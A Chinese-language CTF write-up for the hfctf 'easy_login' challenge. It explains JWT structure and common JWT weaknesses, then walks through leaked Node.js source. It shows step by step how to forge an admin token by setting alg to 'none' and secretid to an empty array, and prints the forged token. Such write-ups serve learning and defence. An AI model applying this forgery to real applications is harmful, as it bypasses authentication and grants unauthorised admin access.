從hfctf學習JWT偽造

本文作者:Ch3ng

 

easy_login

簡單介紹一下什麼是JWT


 

Json web token (JWT), 是為了在網路應用環境間傳遞聲明而執行的一種基於JSON的開放標準((RFC 7519).該token被設計為緊湊且安全的,特別適用於分散式站點的單點登錄(SSO)場景。JWT的聲明一般被用來在身份提供者和服務提供者間傳遞被認證的用戶身份資訊,以便於從資源伺服器獲取資源,也可以增加一些額外的其它業務邏輯所必須的聲明資訊,該token也可直接被用於認證,也可被加密。

實際像這麼一段數據

從hfctf學習JWT偽造323.png

這串數據以(.)作為分隔符分為三個部分,依次如下:

l Header

 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 解碼為 {   "alg": "HS256",   "typ": "JWT" }
alg屬性表示簽名的演算法(algorithm),默認是 HMAC SHA256(寫成 HS256);typ屬性表示這個令牌(token)的類型(type),JWT 令牌統一寫為JWT

 

 

l Payload

 

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ 
解碼為
 {   "sub": "1234567890",   "name": "John Doe",   "iat": 1516239022 }
JWT 規定了7個官方欄位,供選用
iss (issuer):簽發人
exp (expiration time):過期時間
sub (subject):主題
aud (audience):受眾
nbf (Not Before):生效時間
iat (Issued At):簽發時間
jti (JWT ID):編號

 

 

l Signature

Signature 部分是對前兩部分的簽名,防止數據篡改。

首先,需要指定一個密鑰(secret)。這個密鑰只有伺服器才知道,不能泄露給用戶。然後,使用 Header 裡面指定的簽名演算法(默認是 HMAC SHA256),按照下面的公式產生簽名。

 

HMACSHA256(   base64UrlEncode(header) + "." +   base64UrlEncode(payload),   secret )

 

 算出簽名以後,把 Header、Payload、Signature 三個部分拼成一個字元串,每個部分之間用”點”(.)分隔,就可以返回給用戶。

 

JWT安全問題一般有以下

1. 修改演算法為none

2. 修改演算法從RS256到HS256

3. 資訊泄漏 密鑰泄漏

4. 爆破密鑰

首先是一個登錄框,我們先註冊一個帳號admin123,admin123

從hfctf學習JWT偽造1229.png

看題目意思應該是想辦法變成admin來登錄

 

查看前端程式碼js/app.js

 

1./** 
2. *  或許該用 koa-static 來處理靜態文件 
3. *  路徑該怎麼配置?不管了先填個根目錄XD 
4. */  
5.  
6.function login() {  
7.    const username = $("#username").val();  
8.    const password = $("#password").val();  
9.    const token = sessionStorage.getItem("token");  
10.    $.post("/api/login", {username, password, authorization:token})  
11.        .done(function(data) {  
12.            const {status} = data;  
13.            if(status) {  
14.                document.location = "/home";  
15.            }  
16.        })  
17.        .fail(function(xhr, textStatus, errorThrown) {  
18.            alert(xhr.responseJSON.message);  
19.        });  
20.}  
21.  
22.function register() {  
23.    const username = $("#username").val();  
24.    const password = $("#password").val();  
25.    $.post("/api/register", {username, password})  
26.        .done(function(data) {  
27.            const { token } = data;  
28.            sessionStorage.setItem('token', token);  
29.            document.location = "/login";  
30.        })  
31.        .fail(function(xhr, textStatus, errorThrown) {  
32.            alert(xhr.responseJSON.message);  
33.        });  
34.}  
35.  
36.function logout() {  
37.    $.get('/api/logout').done(function(data) {  
38.        const {status} = data;  
39.        if(status) {  
40.            document.location = '/login';  
41.        }  
42.    });  
43.}  
44.  
45.function getflag() {  
46.    $.get('/api/flag').done(function(data) {  
47.        const {flag} = data;  
48.        $("#username").val(flag);  
49.    }).fail(function(xhr, textStatus, errorThrown) {  
50.        alert(xhr.responseJSON.message);  
51.    });  
52.}  

 

 

根據注釋符提示可以發現存在源碼泄露問題

接著發現了源碼泄漏

訪問app.js,controller.js,rest.js即可得到源程式碼

關鍵程式碼controllers/api.js

 

1.const crypto = require('crypto');  
2.  
3.const fs = require('fs')  
4.  
5.const jwt = require('jsonwebtoken')  
6.  
7.  
8.const APIError = require('../rest').APIError;  
9.  
10.  
11.module.exports = {  
12.  
13.    'POST /api/register': async (ctx, next) => {  
14.  
15.        const {username, password} = ctx.request.body;  
16.  
17.  
18.        if(!username || username === 'admin'){  
19.  
20.            throw new APIError('register error', 'wrong username');  
21.  
22.        }  
23.  
24.  
25.        if(global.secrets.length > 100000) {  
26.  
27.            global.secrets = [];  
28.  
29.        }  
30.  
31.  
32.        const secret = crypto.randomBytes(18).toString('hex');  
33.  
34.        const secretid = global.secrets.length;  
35.  
36.        global.secrets.push(secret)  
37.  
38.  
39.        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});  
40.  
41.          
42.  
43.        ctx.rest({  
44.  
45.            token: token  
46.  
47.        });  
48.  
49.  
50.        await next();  
51.  
52.    },  
53.  
54.      
55.  
56.    'POST /api/login': async (ctx, next) => {  
57.  
58.        const {username, password} = ctx.request.body;  
59.  
60.  
61.        if(!username || !password) {  
62.  
63.            throw new APIError('login error', 'username or password is necessary');  
64.  
65.        }  
66.  
67.          
68.  
69.        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;  
70.  
71.  
72.        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;  
73.  
74.          
75.  
76.        console.log(sid)  
77.  
78.  
79.        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {  
80.  
81.            throw new APIError('login error', 'no such secret id');  
82.  
83.        }  
84.  
85.  
86.        const secret = global.secrets[sid];  
87.  
88.  
89.        const user = jwt.verify(token, secret, {algorithm: 'HS256'});  
90.  
91.  
92.        const status = username === user.username && password === user.password;  
93.  
94.  
95.        if(status) {  
96.  
97.            ctx.session.username = username;  
98.  
99.        }  
100.  
101.  
102.        ctx.rest({  
103.  
104.            status  
105.  
106.        });  
107.  
108.  
109.        await next();  
110.  
111.    },  
112.  
113.  
114.    'GET /api/flag': async (ctx, next) => {  
115.  
116.        if(ctx.session.username !== 'admin'){  
117.  
118.            throw new APIError('permission error', 'permission denied');  
119.  
120.        }  
121.  
122.  
123.        const flag = fs.readFileSync('/flag').toString();  
124.  
125.        ctx.rest({  
126.  
127.            flag  
128.  
129.        });  
130.  
131.  
132.        await next();  
133.  
134.    },  
135.  
136.  
137.    'GET /api/logout': async (ctx, next) => {  
138.  
139.        ctx.session.username = null;  
140.  
141.        ctx.rest({  
142.  
143.            status: true  
144.  
145.        })  
146.  
147.        await next();  
148.  
149.    }  
150.  
151.};  

 

 

嘗試註冊,可以看到在註冊的時候生成了一個token,並存在sessionStorage中

從hfctf學習JWT偽造5619.png

得到:

 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbjEyMyIsInBhc3N3b3JkIjoiYWRtaW4xMjMiLCJpYXQiOjE1ODczNzg4MjB9.o5ePpkaTQcSBxmOV-z6hBsWmvvbkd1a_C6Eu7Dpok4Q

 

解密得到:

從hfctf學習JWT偽造5813.png

token生成過程

 

1.const secret = crypto.randomBytes(18).toString('hex');  
2.const secretid = global.secrets.length;  
3.global.secrets.push(secret)  
4.const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}

 

 

看看各種條件,這裡會先對sid進行驗證,我們需要繞過這條認證,下面還有一個jwt.verify()的驗證並賦值給user

 

1.const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;  
2.console.log(sid)  
3.if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {  
4.    throw new APIError('login error', 'no such secret id');  
5.}  
6.const secret = global.secrets[sid];  
7.const user = jwt.verify(token, secret, {algorithm: 'HS256'});  
8.const status = username === user.username && password === user.password;  
9......  
10.....  
11.'GET /api/flag': async (ctx, next) => {  
12.    if(ctx.session.username !== 'admin'){  
13.        throw new APIError('permission error', 'permission denied');  
14.    }  

 

 

這裡的密鑰是生成了18位,基本沒有爆破的可能性,我們使用的方法是將演算法(alg)設置為none,接著我們需要讓jwt.verify()驗證中的secret為空,這裡有個tricks

222.jpg

再看看能不能過條件

const sid = JSON.parse(Buffer.from(token.split(‘.’)[1], ‘base64’).toString()).secretid;
運行結果

 

1. > sid < secrets.length  
2. true  
3. > sid >= 0  
4. true  
我們將header修改
1. 原:
2. {  
3.   "alg": "HS256",  
4.   "typ": "JWT"  
5. }  
6. ===>  
7. {  
8.   "alg": "none",  
9.   "typ": "JWT"  
10. }  
11. 並加密為
12. eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0  
修改payload
1. {  
2.   "secretid": 1,  
3.   "username": "admin123",  
4.   "password": "admin123",  
5.   "iat": 1587378820  
6. }  
7. ===>  
8. {  
9.   "secretid": [],  
10.   "username": "admin",  
11.   "password": "admin123",  
12.   "iat": 1587378820  
13. }  
14. 並加密為
15. eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ

 

 

 

最後使用(.)進行拼接得到偽造的token

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ.

修改sessionStorage

從hfctf學習JWT偽造7785.png

接著使用admin,admin123登錄訪問api/flag,即可得到flag

從hfctf學習JWT偽造7827.png

參考:

//www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

//jwt.io/

Tags: